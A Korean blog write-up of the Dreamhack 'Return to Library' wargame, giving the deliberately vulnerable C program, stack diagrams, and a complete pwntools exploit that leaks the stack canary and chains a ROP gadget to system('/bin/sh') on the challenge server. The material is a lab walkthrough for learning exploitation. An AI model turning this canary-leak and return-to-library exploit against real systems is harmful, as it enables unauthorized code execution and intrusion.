해당 문제는 강의에 기반한 문제로, 자세한 풀이는 아래 주소를 참고하세요.
2022.07.01 - [Dreamhack/Lecture & Practice] - [Practice] Return to Library
1. 실습 코드
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
2. 코드 분석
- 실행파일을 디컴파일하여 분석해보면, 아래와 같은 스택이 존재하는 것을 알 수 있다.
+-----------------------+--[RBP-0X40]
| |
+-----------------------+
| |
+-----------------------+
| |
+-----------------------+
| |
+-----------------------+
| |
+-----------------------+
| |
+-----------------------+
| |
+-----------------------+
| Canary |
+-----------------------+<-RBP
| RBP |
+-----------------------+
| RET |
+-----------------------+
3. 공격 시나리오
- 첫 번째 입력값에서 bof취약점이 존재하여, 카나리를 추출해 낼 수 있다.
- 두 번째 입력값에서 canary를 우회하고, return address를 가젯 주소로 덮어씀으로써 라이브러리 함수를 실행하고 shell을 획득할 수 있다.
- 공격 시나리오를 간단하게 스택으로 그려보면, 아래와 같다.
+-----------------------+--[RBP-0X40]
| |
+-----------------------+
| |
+-----------------------+
| |
+-----------------------+
| |
+-----------------------+
| |
+-----------------------+
| |
+-----------------------+
| |
+-----------------------+
| Canary |
+-----------------------+<-RBP
| RBP |
+-----------------------+
| RET -> 가젯 |
+-----------------------+
| /bin/sh |
+-----------------------+
| system |
+-----------------------+
4. Exploit
- pwntool을 이용하여, exploit 코드를 작성해보면 아래와 같다.
from pwn import *
def print_v(a, b):
return success(": ".join([a,hex(b)]))
p = remote("host3.dreamhack.games", 10357)
#p = process(b"./rtl")
input1 = "A" * 0x39
gadget = 0x400853
sh_addr = 0x600874
sys_addr = 0x4005d0
p.sendafter(b"Buf: ", input1)
p.recvuntil(input1)
canary = u64(b'\x00' + p.recvn(7))
print_v("Canary", canary)
input2 = b"A" * 0x38
input2 += p64(canary)
input2 += b"B" * 0x8
input2 += p64(gadget)
input2 += p64(sh_addr)
input2 += p64(gadget+1)
input2 += p64(sys_addr)
p.sendafter(b"Buf: ", input2)
p.interactive()
- shell을 통해, flag를 얻을 수 있다.
'Dreamhack > Wargame' 카테고리의 다른 글
[Wargame] fho (0) | 2022.07.19 |
---|---|
[Wargame] basic_rop_x86 (0) | 2022.07.10 |
[Wargame] basic_rop_x64 (0) | 2022.07.08 |
[Wargame] rop (0) | 2022.07.03 |
[Wargame] ssp_001 (0) | 2022.06.26 |